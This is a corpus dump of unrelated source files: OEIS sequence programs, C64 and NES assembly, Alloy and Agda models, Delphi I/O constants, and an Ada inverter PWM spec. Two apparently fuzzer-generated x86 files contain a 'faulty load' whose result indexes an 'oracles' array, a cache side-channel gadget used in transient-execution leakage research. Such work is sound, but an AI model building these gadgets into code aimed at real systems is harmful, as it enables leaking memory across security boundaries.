; 2,0,2,2,4,6,10,16,26,42,68,110,178,288,466,754,1220,1974,3194,5168,8362,13530,21892,35422,57314,92736,150050,242786,392836,635622,1028458,1664080,2692538,4356618,7049156,11405774,18454930,29860704,48315634,78176338,126491972,204668310,331160282,535828592,866988874,1402817466,2269806340,3672623806,5942430146,9615053952,15557484098,25172538050,40730022148,65902560198,106632582346,172535142544,279167724890,451702867434,730870592324,1182573459758,1913444052082,3096017511840,5009461563922,8105479075762,13114940639684,21220419715446,34335360355130,55555780070576,89891140425706,145446920496282,235338060921988,380784981418270,616123042340258,996908023758528,1613031066098786,2609939089857314,4222970155956100,6832909245813414,11055879401769514,17888788647582928,28944668049352442,46833456696935370,75778124746287812,122611581443223182,198389706189510994,321001287632734176,519390993822245170,840392281454979346,1359783275277224516,2200175556732203862,3559958832009428378,5760134388741632240,9320093220751060618,15080227609492692858,24400320830243753476,39480548439736446334,63880869269980199810,103361417709716646144,167242286979696845954,270603704689413492098
mov $1,2
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,$2
lpe
mov $0,$1
|
source/sub_colorwash.asm | svkampen/mangela_c64_demo | 0 | 13281 | colwash ldx #$27 ; load x-register with #$27 to work through 0-39 iterations
lda color+$27 ; init accumulator with the last color from first color table
cycle1 ldy color-1,x ; remember the current color in color table in this iteration
sta color-1,x ; overwrite that location with color from accumulator
sta $d990,x ; put it into Color Ram into column x
sta $da30,x
tya ; transfer our remembered color back to accumulator
dex ; decrement x-register to go to next iteration
bne cycle1 ; repeat if there are iterations left
sta color+$27 ; otherwise store te last color from accu into color table
sta $d990 ; ... and into Color Ram
sta $da30
colwash2 ldx #$00 ; load x-register with #$00
lda color2+$27 ; load the last color from the second color table
cycle2 ldy color2,x ; remember color at currently looked color2 table location
sta color2,x ; overwrite location with color from accumulator
sta $d9e0,x ; ... and write it to Color Ram
sta $d940,x
tya ; transfer our remembered color back to accumulator
inx ; increment x-register to go to next iteraton
cpx #$26 ; have we gone through 39 iterations yet?
bne cycle2 ; if no, repeat
sta color2+$27 ; if yes, store the final color from accu into color2 table
sta $d9e0+$27 ; and write it into Color Ram
sta $d940+$27
rts ; return from subroutine
|
programs/oeis/179/A179665.asm | neoneye/loda | 22 | 241079 | <reponame>neoneye/loda<gh_stars>10-100
; A179665: a(n) = prime(n)^9.
; 512,19683,1953125,40353607,2357947691,10604499373,118587876497,322687697779,1801152661463,14507145975869,26439622160671,129961739795077,327381934393961,502592611936843,1119130473102767,3299763591802133,8662995818654939,11694146092834141,27206534396294947,45848500718449031,58871586708267913,119851595982618319,186940255267540403,350356403707485209,760231058654565217,1093685272684360901,1304773183829244583,1838459212420154507,2171893279442309389,3004041937984268273,8594754748609397887,11361656654439817571,17001416405572203977,19370159742424031659,36197319879620191349,40812436757196811351,57955795548021664957,81224760533853742723,101029508532509551847,138808137876363860813,188658891711079763219,208500535066053616021,338298681559573317311,371548729913362368193,446885265417950510117,489415464119070561799,828976267940322173491,1363778273695777847263,1600415374247183470787,1731886157602686265669,2023966356928852115753,2544374934440439784559,2742542606093287451761,3954244264165377252251,4891005035897482905857,6020072706412286871623,7375144266114367290029,7883582519761555858831,9601032097114511317237,10923375902587206152921,11643349118950948694203,15915071101130977289093,24223973308916016636307,27217203547650508966391,28833611193336884526073,32324614926291125487197,47692703775754250891371,56062067225927988301777,72939918399605131977467,76811959212763434593149,85108384800797146356833,99048986760825351881639,120779875685608537745647,139758904019455948566613,161344026025018913493019,177332756837315126431103,203960661546169565063909,244970935601525730479917,268101567757470981763601,320265215673826473056089,398039531776795387285379,415469227535518665906181,513210379737799292308271,535045932926216201589553,605592770801153705930359,657103130187045811620443,741680855533270234714049,869452379987698174267657,940390706476118700005741,977752464192721105849423,1056457243347740004682547,1327454428646007218077919,1540851022625543030745127,1658568561963902101824011,1918248691429635491004499,2061160758358799212544183,2293295617071746318664989,2828391410657939516171081,2927623333013089109425963,3969861779162915894438461
seq $0,6005 ; The odd prime numbers together with 1.
max $0,2
pow $0,9
|
Transynther/x86/_processed/AVXALIGN/_st_4k_sm_/i9-9900K_12_0xa0_notsx.log_21829_1635.asm | ljhsiun2/medusa | 9 | 11308 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x18b85, %r9
nop
nop
nop
nop
dec %rbp
mov (%r9), %r14d
nop
nop
nop
add %rax, %rax
lea addresses_WT_ht+0x1901c, %rsi
lea addresses_A_ht+0x69c, %rdi
nop
nop
nop
nop
nop
sub %rbp, %rbp
mov $4, %rcx
rep movsb
inc %rcx
lea addresses_normal_ht+0x10940, %rsi
lea addresses_WC_ht+0x5a9c, %rdi
nop
nop
nop
add $22543, %r15
mov $64, %rcx
rep movsw
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_A_ht+0x1d29c, %rcx
nop
nop
nop
nop
nop
dec %rdi
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
and %rax, %rax
lea addresses_WT_ht+0x931c, %rax
nop
nop
nop
nop
sub %rbp, %rbp
mov $0x6162636465666768, %r15
movq %r15, (%rax)
nop
nop
nop
nop
inc %rdi
lea addresses_WT_ht+0x2c54, %rsi
nop
and $43565, %r9
mov $0x6162636465666768, %rax
movq %rax, (%rsi)
nop
nop
nop
nop
xor $39059, %r14
lea addresses_D_ht+0x1d39c, %rax
nop
nop
and %rcx, %rcx
movups (%rax), %xmm5
vpextrq $1, %xmm5, %r15
nop
nop
nop
nop
xor %r15, %r15
lea addresses_D_ht+0x1083c, %rsi
lea addresses_UC_ht+0x691c, %rdi
clflush (%rdi)
nop
nop
add %rax, %rax
mov $81, %rcx
rep movsb
nop
nop
nop
nop
cmp %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WC+0x167e4, %r11
xor %rdi, %rdi
movl $0x51525354, (%r11)
nop
nop
sub %r9, %r9
// Store
lea addresses_D+0x1555c, %r10
nop
nop
nop
nop
xor $28804, %rdx
mov $0x5152535455565758, %r8
movq %r8, (%r10)
nop
nop
nop
nop
nop
lfence
// Store
lea addresses_A+0x1b15c, %r12
nop
nop
cmp $9265, %r10
movw $0x5152, (%r12)
nop
nop
add $46686, %r8
// Store
lea addresses_A+0x1229c, %r11
nop
nop
nop
nop
nop
xor %rdx, %rdx
movw $0x5152, (%r11)
nop
nop
inc %r10
// Load
lea addresses_RW+0x1629c, %rdi
clflush (%rdi)
nop
nop
nop
dec %r10
movups (%rdi), %xmm6
vpextrq $1, %xmm6, %r9
nop
sub %r8, %r8
// Store
lea addresses_PSE+0xfa9c, %r11
nop
nop
add $7472, %r9
movl $0x51525354, (%r11)
nop
nop
nop
nop
cmp $40058, %r10
// Store
lea addresses_A+0x1169c, %r9
and $53761, %r11
mov $0x5152535455565758, %rdi
movq %rdi, %xmm3
movups %xmm3, (%r9)
nop
nop
nop
add %rdi, %rdi
// Store
lea addresses_WT+0x17a9c, %r12
cmp %r11, %r11
mov $0x5152535455565758, %r8
movq %r8, %xmm6
vmovups %ymm6, (%r12)
nop
sub $7893, %rdi
// REPMOV
lea addresses_WC+0x14c6c, %rsi
lea addresses_normal+0xa29c, %rdi
clflush (%rsi)
nop
nop
nop
add $31478, %r8
mov $44, %rcx
rep movsb
cmp $26125, %r12
// Load
lea addresses_WC+0x1359c, %r12
and %r11, %r11
mov (%r12), %r9
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %rdi
nop
nop
nop
dec %r12
// Load
lea addresses_US+0xa5dc, %rcx
nop
nop
nop
nop
nop
sub %r8, %r8
vmovups (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r9
nop
sub $26265, %r12
// Faulty Load
lea addresses_PSE+0xfa9c, %rdx
inc %r10
mov (%rdx), %ecx
lea oracles, %r12
and $0xff, %rcx
shlq $12, %rcx
mov (%r12,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_WC', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_21829_626.asm | ljhsiun2/medusa | 9 | 179197 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %r9
push %rdx
push %rsi
// Store
lea addresses_PSE+0xaad2, %r15
clflush (%r15)
nop
nop
nop
nop
sub $30827, %r9
movw $0x5152, (%r15)
nop
nop
nop
add $29245, %r11
// Load
lea addresses_PSE+0x15f8a, %r12
clflush (%r12)
nop
nop
nop
and %rdx, %rdx
mov (%r12), %r15d
inc %r15
// Faulty Load
mov $0xf93db0000000fd2, %r14
inc %rsi
mov (%r14), %edx
lea oracles, %rsi
and $0xff, %rdx
shlq $12, %rdx
mov (%rsi,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %r9
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
alloy4fun_models/trashltl/models/1/DbfPyGkKjq9NRcQ2Q.als | Kaixi26/org.alloytools.alloy | 0 | 932 | open main
pred idDbfPyGkKjq9NRcQ2Q_prop2 {
no File and some File
}
pred __repair { idDbfPyGkKjq9NRcQ2Q_prop2 }
check __repair { idDbfPyGkKjq9NRcQ2Q_prop2 <=> prop2o } |
samples/nes/common/mmc1.asm | 0x8BitDev/MAPeD-SPReD | 23 | 5404 | ; MMC1 configuration
; 43210
; -----
; CPRMM
; |||||
; |||++- Mirroring (0: one-screen, lower bank; 1: one-screen, upper bank;
; ||| 2: vertical; 3: horizontal)
; ||+--- PRG swap range (0: switch 16 KB bank at $C000; 1: switch 16 KB bank at $8000;
; || only used when PRG bank mode bit below is set to 1)
; |+---- PRG size (0: switch 32 KB at $8000, ignoring low bit of bank number;
; | 1: switch 16 KB at address specified by location bit above)
; +----- CHR size (0: switch 8 KB at a time; 1: switch two separate 4 KB banks)
;
.macro mmc1_reset
ldx #$ff
stx $fff2
.endmacro
mmc1_config_write:
ldx #$80
stx $8000 ; reset the shift register
sta $8000 ; first data bit
lsr a ; shift to next bit
sta $8000 ; second data bit
lsr a ; etc
sta $8000
lsr a
sta $8000
lsr a
sta $8000
rts
; PRG bank switching
; A - bank number
mmc1_prg_bank_write:
sta $e000 ; first data bit
lsr a ; shift to next bit
sta $e000
lsr a
sta $e000
lsr a
sta $e000
lsr a
sta $e000
rts
; example:
;
; lda #%00001110 ; 8KB CHR, 16KB PRG, $8000-BFFF swappable, vertical mirroring
; jsr mmc1_config_write
; lda #$00 ; 0 bank!
; jsr mmc1_prg_bank_write
; CHR bank switching $0000
; A - bank number
mmc1_chr_bank0_write:
sta $a000 ; first data bit
lsr a ; shift to next bit
sta $a000
lsr a
sta $a000
lsr a
sta $a000
lsr a
sta $a000
rts
; CHR bank switching $1000
; A - bank number
mmc1_chr_bank1_write:
sta $c000 ; first data bit
lsr a ; shift to next bit
sta $c000
lsr a
sta $c000
lsr a
sta $c000
lsr a
sta $c000
rts |
alloy4fun_models/trashltl/models/3/QsmPNwGNrNQvjXRqs.als | Kaixi26/org.alloytools.alloy | 0 | 913 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idQsmPNwGNrNQvjXRqs_prop4 {
some File
eventually some Trash
}
pred __repair { idQsmPNwGNrNQvjXRqs_prop4 }
check __repair { idQsmPNwGNrNQvjXRqs_prop4 <=> prop4o } |
Borland/CBuilder5/Source/Vcl/fileio.asm | TrevorDArcyEvans/DivingMagpieSoftware | 1 | 4823 | <reponame>TrevorDArcyEvans/DivingMagpieSoftware
; *******************************************************
; * *
; * Delphi Runtime Library *
; * File I/O definitions for 386 RTL *
; * *
; * Copyright (c) 1996,98 Inprise Corporation *
; * *
; *******************************************************
; File modes
fmClosed EQU 0D7B0H;
fmInput EQU 0D7B1H;
fmOutput EQU 0D7B2H;
fmInOut EQU 0D7B3H;
; ASCII equates
bell EQU 07H
bs EQU 08H
tab EQU 09H
lf EQU 0AH
cr EQU 0DH
eof EQU 1AH
del EQU 7FH
; Maximum length of a file name
fNameLen EQU 260
TextRec STRUC
Handle DD (?) ; 0
Mode DD (?) ; 4
BufSize DD (?) ; 8
BufPos DD (?) ; 12
BufEnd DD (?) ; 16
BufPtr DD (?) ; 20
OpenFunc DD (?) ; 24
InOutFunc DD (?) ; 28
FlushFunc DD (?) ; 32
CloseFunc DD (?) ; 36
UserData DB 32 DUP (?) ; 40
FileName DB fNameLen DUP (?) ; 72
Buffer DB 128 DUP (?) ;332
TextRec ENDS ;460
FileRec STRUC
Handle DD (?) ; 0
Mode DD (?) ; 4
RecSize DD (?) ; 8
Private DB 28 DUP (?) ; 12
UserData DB 32 DUP (?) ; 40
FileName DB fNameLen DUP (?) ; 72
FileRec ENDS ;332
; constants for NT GetStdHandle
STD_INPUT_HANDLE EQU -10
STD_OUTPUT_HANDLE EQU -11
STD_ERROR_HANDLE EQU -12
; constants for NT OpenFile
OF_CREATE EQU 00001000H
OF_READ EQU 00000000H
OF_WRITE EQU 00000001H
; constants for NT SetFilePointer
FILE_BEGIN EQU 0
FILE_CURRENT EQU 1
FILE_END EQU 2
; constants for NT CreateFile
GENERIC_READ EQU 80000000H
GENERIC_WRITE EQU 40000000H
FILE_SHARE_READ EQU 00000001H
FILE_SHARE_WRITE EQU 00000002H
CREATE_ALWAYS EQU 2
OPEN_EXISTING EQU 3
FILE_ATTRIBUTE_NORMAL EQU 00000080H
|
examples/examplesPaperJFP/agdaCodeBrady.agda | agda/ooAgda | 23 | 1281 | {-# OPTIONS --type-in-type #-}
module examplesPaperJFP.agdaCodeBrady where
open import Data.List
open import Agda.Builtin.Unit public renaming (⊤ to Unit; tt to triv)
open import Data.Product
open import examplesPaperJFP.StateDependentIO
{- Brady's Effect -}
Effect : Set₁
Effect = (Result : Set) → (InResource : Set) → (OutResource : Result → Set) → Set
record MyEffect : Set₁ where
field Ops : Set
Result : Ops → Set
InResource : Ops → Set
OutResource : (o : Ops) → Result o → Set
open MyEffect
effectToIOInterfaceˢ : Effect → IOInterfaceˢ
Stateˢ (effectToIOInterfaceˢ eff) = Set
Commandˢ (effectToIOInterfaceˢ eff) s =
Σ[ Result ∈ Set ] (Σ[ outR ∈ (Result → Set) ] (eff Result s outR))
Responseˢ (effectToIOInterfaceˢ eff) s (result , outR , op) = result
nextˢ (effectToIOInterfaceˢ eff) s (result , outR , op) = outR
const : { A B : Set} → B → A → B
const b = λ _ → b
data EFFECT′ : Set₁ where
MkEff : Set → Effect → EFFECT′
EFFECT : Set₁
EFFECT = Set × Effect
data State : Effect where
Get : (a : Set) → State a a (λ _ → a)
Put : (a : Set) → (b : Set) → State a a (λ _ → b)
data myStateOps : Set₁ where
get : Set → myStateOps
put : Set → Set → myStateOps
myState : MyEffect
Ops myState = myStateOps
Result myState (get a) = a
InResource myState (get a) = a
OutResource myState (get a) _ = a
Result myState (put a b) = a
InResource myState (put a b) = a
OutResource myState (put a b) _ = b
STATE : Set → EFFECT
STATE x = ( x , State )
postulate String : Set
data Stdio : Effect where
PutStr : String → Stdio Unit Unit (const Unit)
GetStr : Stdio String String (const String)
STDIO : EFFECT
STDIO = ( Unit , Stdio )
data Eff : (x : Set) → List EFFECT → (x → List EFFECT) → Set where
get : (x : Set) → Eff x [ STATE x ] (const [ STATE x ])
put : (x : Set) → x → Eff Unit [ STATE x ] (const [ STATE x ])
putM : (x : Set) → (y : Set) → y → Eff Unit [ STATE x ] (const [ STATE y ])
update : (x : Set) → (x → x) → Eff Unit [ STATE x ] (const [ STATE x ])
data EffM : (m : Set → Set) → (res : Set) →
(inEffects : List EFFECT) →
(outEffects : res → List EFFECT)
→ Set where
_>>=_ : {m : Set → Set} → {res : Set} →
{inEffects : List EFFECT} →
{outEffects : res → List EFFECT} →
{res′ : Set} →
{inEffects′ : res → List EFFECT} →
{outEffects′ : res′ → List EFFECT} →
EffM m res inEffects outEffects →
((x : res) → EffM m res′ (inEffects′ x) outEffects′) →
EffM m res′ inEffects outEffects′
record SetInterfaceˢ : Set where
field Commandˢ′ : Set → Set
Responseˢ′ : (s : Set) → Commandˢ′ s → Set
nextˢ′ : (s : Set) → (c : Commandˢ′ s) → Responseˢ′ s c → Set
open SetInterfaceˢ
module _ (I : SetInterfaceˢ ) (let Stateˢ = Set)
(let C = Commandˢ′ I) (let R = Responseˢ′ I)
(let next = nextˢ′ I) where
handle : (M : Set → Set) → Set
handle M =
(A : Set) → (s : Stateˢ) → (c : C s) → (f : (r : R s c) → next s c r → M A) → M A
postulate Char : Set
|
alloy4fun_models/trashltl/models/4/5xAR4on3L92uxLuMk.als | Kaixi26/org.alloytools.alloy | 0 | 521 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred id5xAR4on3L92uxLuMk_prop5 {
eventually some Trash
}
pred __repair { id5xAR4on3L92uxLuMk_prop5 }
check __repair { id5xAR4on3L92uxLuMk_prop5 <=> prop5o } |
src/inverter_pwm.ads | JCGobbi/Nucleo-STM32G474RE | 0 | 1401 | <gh_stars>0
with HAL; use HAL;
with STM32.GPIO; use STM32.GPIO;
with STM32.Timers; use STM32.Timers;
with STM32.PWM; use STM32.PWM;
with STM32.CORDIC; use STM32.CORDIC;
with STM_Board; use STM_Board;
with Inverter_ADC; use Inverter_ADC;
package Inverter_PWM is
-----------------
-- Definitions --
-----------------
type PWM_Phase is (A, B);
-- Each phase of a full bridge circuit.
type PWM_Alignment is
(Edge, -- Positive edge
Center -- Center of positive part
);
-- Describes where on the PWM waveform the signals shall be aligned.
-- The final maximum amplitude for the sine voltage is defined by the
-- maximum sine value, that is 1.0.
-- Considering that the battery nominal voltage is 12 Volts, this will
-- be the peak AC value, which corresponds to a primary AC RMS voltage
-- of 12 V / sqrt(2) = 8.485 V.
